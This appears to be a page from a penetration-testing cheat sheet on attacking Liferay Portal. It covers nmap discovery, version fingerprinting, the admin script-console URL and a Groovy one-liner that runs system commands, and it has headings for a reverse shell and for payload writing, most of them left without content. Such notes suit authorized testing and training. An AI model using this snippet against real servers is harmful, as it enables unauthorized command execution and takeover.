Liferay

Liferay Portal commonly runs on Tomcat and may expose powerful administrative functionality after login. If you recover portal credentials from deployment files, check the Server Administration script console for command execution.

Discovery

nmap -sV -sC TARGET -p8080

Look for titles or content like:

Home - Liferay Portal
Liferay Community Edition Portal 7.4.x CE
Apache Tomcat

Version

After login, the footer or admin pages may show the exact build:

Liferay Community Edition Portal 7.4.x CE GAxx

Server Administration Script Console

The script console is reachable from the control panel:

/group/control_panel/manage?p_p_id=com_liferay_server_admin_web_portlet_ServerAdminPortlet&p_p_lifecycle=0&p_p_state=maximized&p_p_mode=view&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_mvcRenderCommandName=%2Fserver_admin%2Fview&_com_liferay_server_admin_web_portlet_ServerAdminPortlet_tabs1=script

Use Groovy to run commands:

def process = "cmd /c whoami".execute()
println process.text

Windows enumeration from the console:

Config hunting from the console:

Groovy Reverse Shell

On Windows, use powershell or cmd.exe;

Writing Files from Groovy

If HTTP/SMB transfer is blocked but the script console works, base64 the payload locally and write it on target:

Execute it:

Local Service Context

Liferay on Windows may run under a local service account through NSSM:

Last updated